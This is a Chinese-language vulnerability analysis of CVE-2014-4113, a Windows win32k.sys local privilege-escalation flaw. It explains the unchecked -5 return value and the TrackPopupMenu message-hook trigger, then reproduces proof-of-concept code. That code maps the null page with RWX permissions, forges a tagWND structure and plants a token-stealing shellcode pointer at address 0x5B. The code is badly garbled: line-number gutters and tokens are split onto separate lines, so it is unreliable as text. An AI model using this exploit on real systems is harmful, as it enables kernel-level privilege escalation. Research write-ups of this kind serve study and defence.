参考链接:
https://bbs.pediy.com/thread-271809.htm
https://www.freebuf.com/vuls/347427.html
https://www.anquanke.com/post/id/84477
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113
Win32K!xxxMNFindWindowsFromPoint API函数的返回值是一个win32k!tagWND结构的指针。然而,在调用失败时,该函数会返回错误代码-1和-5。而调用程序在检查返回值的时候,只检查了-1,而没有检查-5,从而出现了执行出错。
同时由于系统本身也没有发现该错误,进而使得该函数将继续默认-5为正确值,同时继续提供一个有效的win32k!tagWND结构的指针;实际上,该函数一直使用的都是错误代码-5(0xfffffffb)。这个代码在执行时,会将-5作为参数传递给Win 32K!xxxSendMessage函数。
Win32K!xxxSendMessage函数。而该函数正好是Win32K!xxxSendMessageTimeout的一个轻量级封装函数。
该漏洞的利用方法:在用户模式地址为0xfffffffb的地方,用ZwAllocateVirtualMemoryAPI函数分配内存空间,并在这个地方存储一个win32k!tagWND结构指针。在内核中,以用户模式访问该结构时,便会引发该漏洞,之后便会执行win32k!tagWND结构里的函数。
运行poc看一下,触发异常转到windbg,
查看此时的 esi 情况,发现 esi 此时为 fffffffb,esi+8 处并没有映射内存
查看栈回溯,在ida中定位到漏洞触发地点,与上面所分析的一样
在调用链中,由用户层的TrackPopupMenu函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项
TrackPopupMenu显示菜单之后,消息循环就由菜单接管了,此时进入的是PopupMenu的消息循环xxxMNLoop,消息处理函数是xxxHandleMenuMessages
xxxMNFindWindowFromPoint获取一个窗口句柄,用于后续的xxxSendMessage函数使用
xxxMNFindWindowFromPoint函数里的逻辑是从鼠标位置获取下一层的菜单项,获取到了就发送ButtonDown(0x1ED)(MN_FINDWINDOWFROMPOINT)消息
而这里对于xxxMNFindWindowFromPoint返回的句柄值的处理则是,如果不是-1,就发送0x1ED消息
内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数,通过对KeUserModeCallback、KiUserCallbackDispatcher设置断点,可以看到第一次处理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通过xxxSendMessageTimeout中调用的xxxCallHook来调用用户注册的钩子函数,在用户空间里函数调用了USER32中的__fnOUTDWORDINDWORD函数,最终调用fn函数。
在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时,会调用ptagWND+0x60处的函数,也就是call [0xFFFFFFB+0x60],即call [0x5B]。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B
该漏洞触发的完整过程如下:通过模仿点击事件,CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息,因为无法拿到PopupMenu的窗口句柄,程序并没有办法直接设置PopupMenu的窗口消息处理函数,因此首先通过SetWindowsHookExA注册钩子函数,在钩子函数中得到PopupMenu的窗口句柄,再通过SetWindowLongA设置PopupMenu的窗口消息处理函数,注册之后xxxSendMessageToClient将调用新的窗口消息处理函数,接收并处理0x1EB的消息。 在新的窗口消息处理函数中,对于消息号为0x1EB的消息,函数返回了0xFFFFFFFB,最终触发了漏洞。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B,执行shellcode获得权限提升。
POC分析
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113
先看main函数内
首先创建了一个主窗口,又新建了两个菜单一个主菜单一个子菜单,并插入了新菜单项,然后调用了SetWindowsHookExA来拦截 1EBh 的消息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
main(){
HWND main_wnd
=
CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
0
,
0
,
640
,
480
, NULL, NULL, wnd_class.hInstance, NULL);
}
/
/
Creates an empty popup menu
HMENU MenuOne
=
CreatePopupMenu();
MENUITEMINFOA MenuOneInfo
=
{
0
};
/
/
Default size
MenuOneInfo.cbSize
=
sizeof(MENUITEMINFOA);
/
/
Selects what properties to retrieve
or
set
when GetMenuItemInfo
/
SetMenuItemInfo are called,
in
this case only dwTypeData which the contents of the menu item.
MenuOneInfo.fMask
=
MIIM_STRING;
BOOL
insertMenuItem
=
InsertMenuItemA(MenuOne,
0
, TRUE, &MenuOneInfo);
HMENU MenuTwo
=
CreatePopupMenu();
MENUITEMINFOA MenuTwoInfo
=
{
0
};
MenuTwoInfo.cbSize
=
sizeof(MENUITEMINFOA);
/
/
On this window hSubMenu should be included
in
Get
/
SetMenuItemInfo
MenuTwoInfo.fMask
=
(MIIM_STRING | MIIM_SUBMENU);
/
/
The menu
is
a sub menu of the first menu
MenuTwoInfo.hSubMenu
=
MenuOne;
/
/
The contents of the menu item
-
in
this case nothing
MenuTwoInfo.dwTypeData
=
"";
/
/
The length of the menu item text
-
in
the case
1
for
just a single NULL byte
MenuTwoInfo.cch
=
1
;
insertMenuItem
=
InsertMenuItemA(MenuTwo,
0
, TRUE, &MenuTwoInfo);
HHOOK setWindowsHook
=
SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());
TrackPopupMenu(
MenuTwo,
/
/
Handle to the menu we want to display,
for
us its the submenu we just created.
0
,
/
/
Options on how the menu
is
aligned, what clicks are allowed etc, we don't care.
0
,
/
/
Horizontal position
-
left hand side
0
,
/
/
Vertical position
-
Top edge
0
,
/
/
Reserved field, has to be
0
main_wnd,
/
/
Handle to the Window which owns the menu
NULL
/
/
This value
is
always ignored...
);
/
/
tidy up the screen
SetWindowsHookExA拦截0x1EB消息,SetWindowLongA设置了一次窗口函数是因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义,我们调用EndMenu函数销毁了这个菜单,此时的win32k!xxxSendMessage函数进行调用就会失败,上层函数 win32k!xxxMNFindWindowFromPoint就会返回 fffffffb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
typedef NTSTATUS(NTAPI
*
lNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID
*
BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
/
/
Gets a pointer to the Win32ThreadInfo structure
for
the current thread by indexing into the Thread Execution Block
for
the current thread
DWORD __stdcall GetPTI() {
__asm {
mov eax, fs:
18h
/
/
eax pointer to TEB
mov eax, [eax
+
40h
]
/
/
get pointer to Win32ThreadInfo
}
}
/
/
Loads ntdll.dll into the processes memory space
and
returns a HANDLE to it
HMODULE hNtdll
=
LoadLibraryA(
"ntdll"
);
lNtAllocateVirtualMemory pNtAllocateVirtualMemory
=
(lNtAllocateVirtualMemory)GetProcAddress(hNtdll,
"NtAllocateVirtualMemory"
);
DWORD base_address
=
1
;
/
/
Aritary size which
is
probably big enough
-
it'll get rounded up to the
next
memory page boundary anyway
SIZE_T region_size
=
0x1000
;
NTSTATUS tmp
=
pNtAllocateVirtualMemory(
GetCurrentProcess(),
/
/
HANDLE ProcessHandle
=
> The process the mapping should be done
for
, we
pass
this process.
(LPVOID
*
)(&base_address),
/
/
PVOID
*
BaseAddress
=
> The base address we want our memory allocated at, this will be rounded down to the nearest page boundary
and
the new value will written to it
0
,
/
/
ULONG_PTR ZeroBits
=
> The number of high
-
order address bits that must be zero
in
the base address, this
is
only used when the base address passed
is
NULL
®ion_size,
/
/
RegionSize
=
> How much memory we want allocated, this will be rounded up to the nearest page boundary
and
the updated value will be written to the variable
(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),
/
/
ULONG AllocationType
=
> What
type
of allocation to be done
-
the chosen flags mean the memory will allocated at the highest valid address
and
will immediately be reserved
and
commited so we can use it.
PAGE_EXECUTE_READWRITE
/
/
ULONG Protect
=
> The page protection flags the memory should be created with, we want RWX
);
void
*
pti_loc
=
(void
*
)
0x3
;
void
*
check_loc
=
(void
*
)
0x11
;
void
*
shellcode_loc
=
(void
*
)
0x5b
;
*
(LPDWORD)pti_loc
=
pti;
*
(LPBYTE)check_loc
=
0x4
;
*
(LPDWORD)shellcode_loc
=
(DWORD)TokenStealingShellcodeWin7;